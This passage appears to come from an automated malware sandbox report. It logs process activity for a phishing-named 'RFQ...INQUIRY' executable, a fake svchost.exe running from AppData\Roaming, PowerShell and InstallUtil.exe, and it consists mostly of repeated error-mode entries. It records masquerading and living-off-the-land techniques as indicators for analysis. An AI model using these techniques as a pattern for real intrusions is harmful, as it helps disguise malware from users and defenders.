Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
